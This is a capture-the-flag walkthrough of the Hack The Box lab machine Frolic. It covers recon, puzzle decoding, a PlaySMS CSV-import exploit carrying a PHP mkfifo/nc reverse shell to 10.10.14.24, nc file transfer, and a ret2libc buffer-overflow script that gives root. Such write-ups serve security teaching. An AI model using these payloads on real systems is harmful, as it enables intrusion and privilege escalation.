Details
This machine is Frolic on Hack The Box, it is a retired machine on IP 10.10.10.111
Recon Phase
I started by looking for services
root@kali:~# nmap -T4 -sV -p- 10.10.10.111
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-22 19:19 GMT
Nmap scan report for 10.10.10.111
Host is up (0.039s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
1880/tcp open http Node.js (Express middleware)
9999/tcp open http nginx 1.10.3 (Ubuntu)
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Then ran some scripts
root@kali:~# nmap -T4 -sVC -p- 10.10.10.111
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-22 19:38 GMT
Nmap scan report for 10.10.10.111
Host is up (0.034s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
| 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1880/tcp open http Node.js (Express middleware)
|_http-title: Node-RED
9999/tcp open http nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -1h50m56s, deviation: 3h10m31s, median: -56s
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: frolic
| NetBIOS computer name: FROLIC\x00
| Domain name: \x00
| FQDN: frolic
|_ System time: 2019-02-23T01:08:04+05:30
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-02-22 19:38:04
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.86 seconds
Shell Hunting
I started with the port 1880 webserver at http://10.10.10.111:1880/
Then port 9999
As 9999 hadn't shown me anything yet I setup dirbuster
Then looked at /admin
Then /test
And then /backup
That's interesting but first onto /dev
So I tried http://10.10.10.111:9999/password.txt
Same again on user.txt
So back onto admin http://10.10.10.111:9999/admin/, it kept counting down when I tried to login, but in the source I found some js at http://10.10.10.111:9999/admin/js/login.js
Some creds
admin:superduperlooperpassword_lol
I tried them and on http://10.10.10.111:9999/admin/success.html
..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... .....
..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... .....
....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! .....
..... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!!
!!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... .....
..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?.
?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... .....
..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... .....
..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!!
!.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!!
!!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?!
.?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?..
!.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?.
?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.?
!!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!!
!.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!!
!.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. .....
..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!!
!!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!!
!!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .....
..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! .....
..!.! !!!!! !.?.
This looked like brainfuck, but different, some googling revealed ook!, and an online interpreter gave me
Nothing here check /asdiSIAJJ0QWE9JAS
So off to http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS/ which gave more text
UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB
BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs
K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve
EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj
lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC
AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG
AAAAAAEAAQBPAAAAAwEAAAAA
This looked like base64, the decode was binary but contained the string index.php
, so I considered it could be a zip
root@kali:~# cat based | base64 -d > test.zip
root@kali:~# binwalk test.zip
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 Zip archive data, encrypted at least v2.0 to extract, compressed size: 176, uncompressed size: 617, name: index.php
338 0x152 End of Zip archive, footer length: 22
Nice, now to get it
root@kali:~# unzip test.zip
Archive: test.zip
[test.zip] index.php password:
It's passworded, so I setup my zipcracker https://github.com/Jack-Barradell/pentest-scripts/blob/master/zipcracker/py3/zipcracker.py
root@kali:~# python zipcracker.py -f test.zip -d /usr/share/wordlists/rockyou.txt
[+] Attempting to crack password
[+] Password found: password
[+] Cracking completed
Then unzipped it
root@kali:~# unzip test.zip
inflating: index.php
root@kali:~# cat index.php
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a
Looks like hex, so a hex to ascii converter
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==
That's base64, so decode
+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
++..<
And that's brainfuck, an online interpreter gave me
idkwhatispass
So a potential password but no username, so I setup dirbuster against http://10.10.10.111:9999/dev which gave new results
/dev/test offered a binary file which only contained the text
test
Whereas http://10.10.10.111:9999/dev/backup/ contained
/playsms
So I went to it and ended up on http://10.10.10.111:9999/playsms/index.php?app=main&inc=core_auth&route=login
With a potential password but no username, I tried
admin:idkwhatispass
It worked, exploitdb gave me a potential vuln of https://www.exploit-db.com/exploits/42044, so I went to http://10.10.10.111:9999/index.php?app=main&inc=feature_phonebook&route=import&op=import
So I setup a csv exploit with the following
Name,Mobile,Email,Group code,Tags
<?php $t="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.24 4444 >/tmp/f"; system($t); ?>,12,344,56,67
And a listener to get the shell
root@kali:~# nc -nlvp 4444
When I uploaded the csv in the listener
connect to [10.10.14.24] from (UNKNOWN) [10.10.10.111] 34618
/bin/sh: 0: can't access tty; job control turned off
$
A shell!
Root Hunting
First I checked who I was
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Then upgraded the shell
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@frolic:~/html/playsms$
And began to dig
www-data@frolic:~/html/playsms$ find / -perm -u=s 2>/dev/null
[SNIP]
/home/ayush/.binary/rop
[SNIP]
The program called rop looked interesting
www-data@frolic:~/html/playsms$ cd /home/ayush
www-data@frolic:/home/ayush$ ls -la
drwxr-xr-x 3 ayush ayush 4096 Sep 25 02:00 .
drwxr-xr-x 4 root root 4096 Sep 23 17:56 ..
-rw------- 1 ayush ayush 2781 Sep 25 02:47 .bash_history
-rw-r--r-- 1 ayush ayush 220 Sep 23 17:56 .bash_logout
-rw-r--r-- 1 ayush ayush 3771 Sep 23 17:56 .bashrc
drwxrwxr-x 2 ayush ayush 4096 Sep 25 02:43 .binary
-rw-r--r-- 1 ayush ayush 655 Sep 23 17:56 .profile
-rw------- 1 ayush ayush 965 Sep 25 01:58 .viminfo
-rwxr-xr-x 1 ayush ayush 33 Sep 25 01:58 user.txt
Theres user, but I can't read it, carry on to the binary!
www-data@frolic:/home/ayush$ cd .binary
www-data@frolic:/home/ayush/.binary$ ls -la
drwxrwxr-x 2 ayush ayush 4096 Sep 25 02:43 .
drwxr-xr-x 3 ayush ayush 4096 Sep 25 02:00 ..
-rwsr-xr-x 1 root root 7480 Sep 25 00:59 rop
Nice, if I can exploit it I'll get root. But there is no gdb, lets exfil the file then
root@kali:~# nc -nvlp 2222 > rop
www-data@frolic:/home/ayush/.binary$ nc 10.10.14.24 2222 < rop
connect to [10.10.14.24] from (UNKNOWN) [10.10.10.111] 35024
Now I have the file
root@kali:~# chmod +x rop
root@kali:~# gdb ./rop
gdb-peda$ run
Starting program: /root/Documents/frolic/rop
[*] Usage: program <message>
Okay
gdb-peda$ run hi
Starting program: /root/Documents/frolic/rop hi
[+] Message sent: hi[Inferior 1 (process 6018) exited normally]
Warning: not running or target is remote
Can I crash it?
gdb-peda$ run $(python -c "print('A'*200 + 'BBBB')")
Starting program: /root/Documents/frolic/rop $(python -c "print('A'*200 + 'BBBB')")
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xc8
EBX: 0xffffd260 ('A' <repeats 96 times>)
ECX: 0x0
EDX: 0xf7fa6890 --> 0x0
ESI: 0xf7fa5000 --> 0x1d9d6c
EDI: 0xf7fa5000 --> 0x1d9d6c
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd230 ('A' <repeats 144 times>)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd230 ('A' <repeats 144 times>)
0004| 0xffffd234 ('A' <repeats 140 times>)
0008| 0xffffd238 ('A' <repeats 136 times>)
0012| 0xffffd23c ('A' <repeats 132 times>)
0016| 0xffffd240 ('A' <repeats 128 times>)
0020| 0xffffd244 ('A' <repeats 124 times>)
0024| 0xffffd248 ('A' <repeats 120 times>)
0028| 0xffffd24c ('A' <repeats 116 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
Yes, so I tested, and at 52 A's
gdb-peda$ run $(python -c "print('A'*52 + 'BBBB')")
[----------------------------------registers-----------------------------------]
EAX: 0x38 ('8')
EBX: 0xffffd2f0 --> 0x2
ECX: 0x0
EDX: 0xf7fa6890 --> 0x0
ESI: 0xf7fa5000 --> 0x1d9d6c
EDI: 0xf7fa5000 --> 0x1d9d6c
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd2c0 --> 0xffffd500 --> 0xb35cef62
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffd2c0 --> 0xffffd500 --> 0xb35cef62
0004| 0xffffd2c4 --> 0xffffd384 --> 0xffffd516 ("/root/Documents/frolic/rop")
0008| 0xffffd2c8 --> 0xffffd390 --> 0xffffd56a ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)
0012| 0xffffd2cc --> 0x8048561 (<__libc_csu_init+33>: lea eax,[ebx-0xf8])
0016| 0xffffd2d0 --> 0xffffd2f0 --> 0x2
0020| 0xffffd2d4 --> 0x0
0024| 0xffffd2d8 --> 0x0
0028| 0xffffd2dc --> 0xf7de5b41 (<__libc_start_main+241>: add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
So my EIP offset is 52, so I check to see if I can execute on the stack
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
Nope, that's probably why it's called rop. My goal will be to ret2libc, and failing that use mprotect to unprotect the stack. First I try to find system
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e09980 <system>
Then the string "/bin/sh"
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f49aaa ("/bin/sh")
So I setup a python script to do the exploit
EIP_OFFSET = 52
PADDING = 'A'
SYSTEM = '\x80\x99\xe0\xf7' # 0x f7 e0 99 80
BINSH = '\xaa\x9a\xf4\xf7' # 0x f7 f4 9a aa
GARBAGE = 'CCCC'
payload = PADDING * EIP_OFFSET
payload += SYSTEM
payload += GARBAGE
payload += BINSH
print(payload)
And tested it
gdb-peda$ run $(python ./exploit.py )
Starting program: /root/Documents/frolic/rop $(python ./exploit.py )
[Attaching after process 6157 fork to child process 6160]
[New inferior 2 (process 6160)]
[Detaching after fork from parent process 6157]
[Inferior 1 (process 6157) detached]
process 6160 is executing new program: /usr/bin/dash
[Attaching after process 6160 fork to child process 6161]
[New inferior 3 (process 6161)]
[Detaching after fork from parent process 6160]
[Inferior 2 (process 6160) detached]
process 6161 is executing new program: /usr/bin/dash
#
This spawned a shell on my local system, so with a PoC I needed to adjust it to the real target, so I grab a static version of gdb from https://github.com/hugsy/gdb-static/blob/master/gdb-7.10.1-x32 and transfer it to the target
root@kali:~# nc -nlvp 2222 < gdb
www-data@frolic:/home/ayush/.binary$ nc 10.10.14.24 2222 > /tmp/gdb
connect to [10.10.14.24] from (UNKNOWN) [10.10.10.111] 35036
And set it up
www-data@frolic:/home/ayush/.binary$ chmod +x /tmp/gdb
www-data@frolic:/home/ayush/.binary$ /tmp/gdb ./rop
GNU gdb (GDB) 7.10.1
Copyright (C) 2015 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./rop...(no debugging symbols found)...done.
(gdb)
First I just checked it worked
(gdb) run hi
Starting program: /home/ayush/.binary/rop hi
[+] Message sent: hi[Inferior 1 (process 1738) exited normally]
Then grabbed the system address
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7e53da0 <system>
Grabbed the libc addresses so I could search for the "/bin/sh" string
(gdb) info proc map
process 1782
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0x0 /home/ayush/.binary/rop
0x8049000 0x804a000 0x1000 0x0 /home/ayush/.binary/rop
0x804a000 0x804b000 0x1000 0x1000 /home/ayush/.binary/rop
0x804b000 0x806c000 0x21000 0x0 [heap]
0xb7e18000 0xb7e19000 0x1000 0x0
0xb7e19000 0xb7fc9000 0x1b0000 0x0 /lib/i386-linux-gnu/libc-2.23.so
0xb7fc9000 0xb7fcb000 0x2000 0x1af000 /lib/i386-linux-gnu/libc-2.23.so
0xb7fcb000 0xb7fcc000 0x1000 0x1b1000 /lib/i386-linux-gnu/libc-2.23.so
0xb7fcc000 0xb7fcf000 0x3000 0x0
0xb7fd6000 0xb7fd7000 0x1000 0x0
0xb7fd7000 0xb7fda000 0x3000 0x0 [vvar]
0xb7fda000 0xb7fdb000 0x1000 0x0 [vdso]
0xb7fdb000 0xb7ffe000 0x23000 0x0 /lib/i386-linux-gnu/ld-2.23.so
0xb7ffe000 0xb7fff000 0x1000 0x22000 /lib/i386-linux-gnu/ld-2.23.so
---Type <return> to continue, or q <return> to quit---
0xb7fff000 0xb8000000 0x1000 0x23000 /lib/i386-linux-gnu/ld-2.23.so
0xbffdf000 0xc0000000 0x21000 0x0 [stack]
(gdb) find 0xb7e19000, 0xb7fcc000, "/bin/sh"
0xb7f74a0b
1 pattern found.
I adjusted my exploit
root@kali:~# cat exploit.py
EIP_OFFSET = 52
PADDING = 'A'
SYSTEM = '\xa0\x3d\xe5\xb7' # 0x b7 e5 3d a0
BINSH = '\x0b\x4a\xf7\xb7' # 0x b7 f7 4a 0b
GARBAGE = 'CCCC'
payload = PADDING * EIP_OFFSET
payload += SYSTEM
payload += GARBAGE
payload += BINSH
print(payload)
And transferred it to the server
root@kali:~# nc -nlvp 2222 < ./exploit.py
www-data@frolic:/home/ayush/.binary$ nc 10.10.14.24 2222 > /tmp/exploit.py
And ran it
www-data@frolic:/home/ayush/.binary$ ./rop $(python /tmp/exploit.py)
#
It popped a shell
#
id uid=0(root) gid=33(www-data) groups=33(www-data)
And it's root! First the user flag
# cd /home/ayush
# cat user.txt
[REDACTED]
Then the root flag
# cd /root
# cat root.txt
[REDACTED]